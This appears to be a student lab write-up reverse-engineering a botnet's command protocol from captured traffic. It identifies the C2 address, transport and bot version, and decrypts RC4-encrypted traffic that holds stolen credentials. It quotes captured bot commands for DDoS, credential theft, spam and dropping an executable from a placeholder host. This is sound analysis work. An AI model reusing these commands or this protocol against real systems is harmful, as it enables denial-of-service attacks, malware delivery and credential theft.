

Botnet Reverse-Engineering

Message	Sent by	Description
REPORT <botid> <os> <END>	Client	First handshake message
HELLO <id> <END>	Server	Second handshake message
UPDATE <version> <END>	Client	Check update version
UPDATE <status> <END>	Server	Send status of update
COMMAND <END>	Client	Ask commands from the client
COMMAND <command> <END>	Server	Client's command
Payload <END>	Client	Server's response to client's command
DONE <END>	Client	The status of response
BYE <END>	Server	Disconnection from client

a. The command server's IP address is 145.108.84.238.

The port number is 56338

b. The botnet uses TCP as a transport layer protocol.

```
744 366.762803 145.108.84.238 18.195.107.195 TCP 54 56338 → 5376 [ACK] Seq=101 Ack=109 Win=131072 Len=0
```

c. The version number of the given bot client is 1.33.7

```
UPDATE version=1.33.7 <END>
```

d. The 4 different commands are:

ddos

```
COMMAND ddos http://www.google.com <END>
```

Get_credentials

```
COMMAND get_credentials <END>
```

Spam

```
COMMAND spam http://www.badware.com/spam.template <END>
```

Drop

```
COMMAND drop http://www.badware.com/5.exe <END>
```

e. The encryption algorithm is RC4 (ARCFOUR)

The key which is used for the encryption is 24fc2afe431a522c

Input type:

Text

Input text:
(plain)

58 14 bc 37 9f 27 97 08 b9 b9 da 9c 7f 31 5d 87 8f a6 64 48 cd 95 10 86 d8 5a 0a 82
da a6 6f c9 98 57 ac fc fd 1d 17 5a 07 e6 1e d4 52 7f ff 26 b2 91 3b f4 38 5d 26 9c
b1 70 65 6a 8c 10 7e 0e 8c 37 6d df 31 e4 5e d4 5d 0c bc 54 9a 34 69 d9fb 93 c9 1a
8a e4 16 57 20 ff aa 3b b6 c8 03 04 cd a2

☐ Plaintext ☒ Hex

Autodetect: ON | OFF

Function:

RC4 (ARCFOUR)

Mode:

Stream

Key:
(plain)

24fc2afe431a522c

Decrypted text:

00000000	43 52 45 44 45 4e 54 49 41 4c 53 20 73 6b 79 70	C R E D E N T I A L S s k y p
00000010	65 3d 28 6a 6f 68 6e 64 6f 65 2c 50 34 73 73 77	e = (j o h n d o e , P 4 s s w
00000020	30 72 64 29 20 67 6d 61 69 6c 3d 28 6a 6f 68 6e	0 r d) g m a i l = (j o h n
00000030	64 6f 65 40 67 6d 61 69 6c 2e 63 6f 6d 2c 70 6c	d o e @ g m a i l . c o m , p l
00000040	7a 44 30 6e 74 48 34 78 78 6f 72 4d 65 29 20 63	z D 0 n t H 4 x x o r M e) c
00000050	68 65 63 6b 73 75 6d 3d 66 62 30 39 65 37 38 32	h e c k s u m = f b 0 9 e 7 8 2
00000060	66 64	f d

The decrypted message is:

C R E D E N T I A L S s k y p
e = (j o h n d o e , P 4 s s w
0 r d) g m a i l = (j o h n
d o e @ g m a i l . c o m , p l
z D 0 n t H 4 x x o r M e) c
h e c k s u m = f b 0 9 e 7 8 2
f d

Message structure:

At the end we have an <END>. We understood this from other lines. <END> is 20 3c 45 4e 44 3e 0a

After discarding <END> block, we tried to take message that has no meaning in the right column. We took each line and paste it in an online decryption tool. After that, we took key as 24fc2afe431a522c. Then, after decrypting it we figured out that each line starts with a key word like gmail, skype, checksum. After them, there is equal sign "=" and (sign.